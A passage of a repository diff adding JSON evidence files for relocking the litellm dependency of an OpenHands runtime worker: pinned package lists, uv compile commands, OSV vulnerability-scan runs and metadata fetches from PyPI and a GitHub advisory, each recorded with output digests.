'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-coreaudiokit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-corebluetooth==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-coredata==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-corehaptics==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-corelocation==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-coremedia==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-coremediaio==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-coremidi==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-coreml==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-coremotion==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-coreservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-corespotlight==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-coretext==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-corewlan==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-cryptotokenkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-datadetection==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-devicecheck==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-devicediscoveryextension==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-dictionaryservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-discrecording==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-discrecordingui==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-diskarbitration==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-dvdplayback==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-eventkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-exceptionhandling==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-executionpolicy==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-extensionkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-externalaccessory==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-fileprovider==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-fileproviderui==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-findersync==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-fsevents==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-fskit==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.4' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-gamecenter==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-gamecontroller==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-gamekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-gameplaykit==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-healthkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-imagecapturecore==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-inputmethodkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-installerplugins==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-instantmessage==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-intents==11.1 ; platform_machine == 'x86_64' and platform_release >= '16.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-intentsui==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-iobluetooth==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-iobluetoothui==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-iosurface==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-ituneslibrary==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-kernelmanagement==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-latentsemanticmapping==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-launchservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-libdispatch==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-libxpc==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-linkpresentation==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-localauthentication==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-localauthenticationembeddedui==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-mailkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-mapkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-mediaaccessibility==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-mediaextension==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-medialibrary==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-mediaplayer==11.1 ; platform_machine == 'x86_64' and platform_release >= '16.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-mediatoolbox==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-metal==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-metalfx==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-metalkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-metalperformanceshaders==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-metalperformanceshadersgraph==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-metrickit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-mlcompute==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-modelio==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-multipeerconnectivity==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-naturallanguage==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-netfs==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-network==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-networkextension==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-notificationcenter==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-opendirectory==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-osakit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-oslog==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-passkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-pencilkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-phase==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-photos==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-photosui==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-preferencepanes==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-pushkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-quartz==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-quicklookthumbnailing==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-replaykit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-safariservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '16.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-safetykit==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-scenekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-screencapturekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.4' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-screensaver==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-screentime==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-scriptingbridge==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-searchkit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-security==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-securityfoundation==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-securityinterface==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-securityui==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.4' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-sensitivecontentanalysis==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-servicemanagement==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-sharedwithyou==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-sharedwithyoucore==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-shazamkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-social==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-soundanalysis==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-speech==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-spritekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-storekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-symbols==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-syncservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-systemconfiguration==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-systemextensions==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-threadnetwork==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-uniformtypeidentifiers==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-usernotifications==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-usernotificationsui==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-videosubscriberaccount==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-videotoolbox==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-virtualization==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-vision==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-webkit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyotp==2.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npyparsing==3.2.5 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npypdf==6.19.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npyperclip==1.11.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npython-dateutil==2.9.0.post0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npython-docx==1.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npython-dotenv==1.2.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npython-frontmatter==1.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npython-json-logger==4.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npython-multipart==0.0.31 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npyyaml==6.0.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nredis==7.2.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nreferencing==0.36.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nregex==2025.9.18 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nreportlab==4.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nrequests==2.33.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nrequests-oauthlib==2.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nrich==14.3.3 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nrich-rst==1.3.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nrpds-py==0.27.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nscreeninfo==0.8.1 ; platform_machine == 'x86_64' and platform_system != 'darwin' and sys_platform == 'linux'\nsecretstorage==3.5.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nsix==1.17.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nsniffio==1.3.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nsocksio==1.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nsortedcontainers==2.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nsoupsieve==2.9.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nsse-starlette==3.0.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nstarlette==1.3.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ntenacity==9.1.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ntiktoken==0.12.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ntokenizers==0.23.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ntom-swe==1.0.3 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ntqdm==4.67.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ntree-sitter==0.25.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ntree-sitter-bash==0.25.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ntyping-extensions==4.15.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ntyping-inspection==0.4.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nuncalled-for==0.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nuritemplate==4.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nurllib3==2.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nuuid7==0.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nuvicorn==0.52.4 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nwatchfiles==1.1.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nwcwidth==0.2.14 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nwebsockets==15.0.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nwrapt==1.17.3 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nyarl==1.22.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nzipp==3.23.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\n" + }, + "only_constraint_delta": { + "line": 79, + "before": "litellm==1.93.0", + "after": "litellm==1.93.2", + "all_markers_and_other_constraints_retained": true + }, + "policy": { + "exclude_newer": "7 days", + "lmnr_exclude_newer_package": "2026-08-23T00:00:00Z", + "legacy_litellm_cutoff_removed": "2026-07-20T00:00:00Z", + "candidate_explicit_version_constraint": "1.93.2", + "candidate_reproduction_disables_config_discovery": true + }, + "scope": "Captured native compilation/probe inputs; not a second installer-consumed requirement file." +} diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-commands.json b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-commands.json new file mode 100644 index 000000000..ced9ebef2 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-commands.json @@ -0,0 +1,1568 @@ +{ + "schema_version": 1, + "evidence_class": "native_command_ledger", + "raw_output_policy": { + "originals": "Original stdout/stderr bytes remain in owned private scratch; every original digest is retained.", + "public_returns": "Actual nonempty native returns with only declared host/task path substitutions.", + "compile_stdout": "Exact original bytes reused through the immutable baseline and current shipped lock, without duplicate copies.", + "primary_responses": "Originals remain private; source URLs, response hashes and selected factual fields are retained.", + "placeholders": [ + "", + "", + "", + "" + ] + }, + "commands": [ + { + "id": "native-control-compile", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "compile", + "/requirements.in", + "--constraints", + "/control-constraints.txt", + "--generate-hashes", + "--no-header", + "--no-annotate", + "--index-url", + "https://pypi.org/simple", + "--python-version", + "3.13.15", + "--python-platform", + "x86_64-unknown-linux-gnu", + "--exclude-newer", + "7 days", + "--exclude-newer-package", + "litellm=2026-07-20T00:00:00Z", + "--exclude-newer-package", + "lmnr=2026-08-23T00:00:00Z", + "--output-file", + "/control.lock" + ], + "cwd": "", + "started_utc": "2026-09-30T21:40:37.505777+00:00", + "ended_utc": "2026-09-30T21:40:37.744613+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "native-control-compile.stdout.txt", + "bytes": 248359, + "sha256": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a" + }, + "stderr": { + "file": "native-control-compile.stderr.txt", + "bytes": 31, + "sha256": "918ec0e68c8174d18812542792848a8b201a0e824dbb0e25d2f67f2262ef9b8e" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "reuse_exact_lock_bytes": true, + "sha256": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a", + "bytes": 248359, + "source": "f7223996a58fee9f3cab52e8f1cef24f15e39228:blueprints/runtime-workers/openhands/requirements.lock" + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-control-compile.stderr.txt", + "sha256": "918ec0e68c8174d18812542792848a8b201a0e824dbb0e25d2f67f2262ef9b8e", + "bytes": 31, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "baseline-osv-empty-config", + "argv": [ + "rtk", + "proxy", + "", + "scan", + "source", + "--config", + "/empty-config.toml", + "--no-resolve", + "--lockfile=requirements.txt:/control.lock", + "--format", + "json" + ], + "cwd": "", + "started_utc": "2026-09-30T21:41:04.040247+00:00", + "ended_utc": "2026-09-30T21:41:04.615252+00:00", + "exit_code": 1, + "original_streams": { + "stdout": { + "file": "baseline-osv-empty-config.stdout.txt", + "bytes": 57700, + "sha256": "01763bc8d57e433c856c21fb09a81e73e5ee7220cce68fa7989a9d3ae8e5a3f3" + }, + "stderr": { + "file": "baseline-osv-empty-config.stderr.txt", + "bytes": 226, + "sha256": "1986c08a0e77938a884f67dacad1653b184be045f6badfe045977a1d987f8a22" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-empty-config.stdout.txt", + "sha256": "b7eedfbee6122774031a30c319f714d849c5c1cf23abb9dda493403524a30c7f", + "bytes": 57685, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-empty-config.stderr.txt", + "sha256": "5badffe477826da86e599f6e3b4eda2197a4ac0535ecf3be64cb255064198f73", + "bytes": 211, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "baseline-osv-current-config", + "argv": [ + "rtk", + "proxy", + "", + "scan", + "source", + "--config", + "/ci-config.toml", + "--no-resolve", + "--lockfile=requirements.txt:/control.lock", + "--format", + "json" + ], + "cwd": "", + "started_utc": "2026-09-30T21:41:04.041141+00:00", + "ended_utc": "2026-09-30T21:41:04.604250+00:00", + "exit_code": 1, + "original_streams": { + "stdout": { + "file": "baseline-osv-current-config.stdout.txt", + "bytes": 38003, + "sha256": "18c895d7dee9adcf9f35ca42eea01e9dffd49e07e5d9c6c563b399bfb73d5ad9" + }, + "stderr": { + "file": "baseline-osv-current-config.stderr.txt", + "bytes": 3660, + "sha256": "d4c6730ef46290118bca06ebf4b544933cd041a2a08dabfc0486a9cd0ae702c3" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-current-config.stdout.txt", + "sha256": "a92e835298713c688fe1cec4e6dce17342294e5d82500617f08adefdb6f81bc8", + "bytes": 37988, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-current-config.stderr.txt", + "sha256": "7de52e31d1f445e1709affba57e0707156ad7825b3090a91e516fd1b334bbe1a", + "bytes": 3630, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "scanner-version", + "argv": [ + "rtk", + "proxy", + "", + "--version" + ], + "cwd": "", + "started_utc": "2026-09-30T21:41:04.042168+00:00", + "ended_utc": "2026-09-30T21:41:04.132666+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "scanner-version.stdout.txt", + "bytes": 134, + "sha256": "e0bc7fa9d9b902f5179238abc870bc238c6f119e8c4c0b58b63fd26289fc5ea7" + }, + "stderr": { + "file": "scanner-version.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-scanner-version.stdout.txt", + "sha256": "e0bc7fa9d9b902f5179238abc870bc238c6f119e8c4c0b58b63fd26289fc5ea7", + "bytes": 134, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "litellm-primary-pypi", + "argv": [ + "rtk", + "proxy", + "python3", + "-c", + "import sys,urllib.request; sys.stdout.buffer.write(urllib.request.urlopen(sys.argv[1]).read())", + "https://pypi.org/pypi/litellm/1.93.2/json" + ], + "cwd": "", + "started_utc": "2026-09-30T21:41:32.298439+00:00", + "ended_utc": "2026-09-30T21:41:32.400693+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-primary-pypi.stdout.txt", + "bytes": 72340, + "sha256": "819d3bd8d22fc404a9ad0bcf83568917de56c9e7767e678a3c3f2594d37a459d" + }, + "stderr": { + "file": "litellm-primary-pypi.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "evidence_class": "upstream_source_response", + "public_returned_output": { + "stdout": { + "kept_private": true, + "reason": "Original primary-source response; immutable URLs and source/input digests are recorded separately." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "litellm-primary-advisory", + "argv": [ + "rtk", + "proxy", + "python3", + "-c", + "import sys,urllib.request; sys.stdout.buffer.write(urllib.request.urlopen(sys.argv[1]).read())", + "https://api.github.com/advisories/GHSA-3cv6-jpf6-8222" + ], + "cwd": "", + "started_utc": "2026-09-30T21:41:32.622062+00:00", + "ended_utc": "2026-09-30T21:41:32.955155+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-primary-advisory.stdout.txt", + "bytes": 4347, + "sha256": "37cd0a9ca583552d0f5555a4cb4fa4f3567ebb4db0490b9d3b9b66c28781f908" + }, + "stderr": { + "file": "litellm-primary-advisory.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "evidence_class": "upstream_source_response", + "public_returned_output": { + "stdout": { + "kept_private": true, + "reason": "Original primary-source response; immutable URLs and source/input digests are recorded separately." + }, + "stderr": { + "empty_original_stream": true + } + 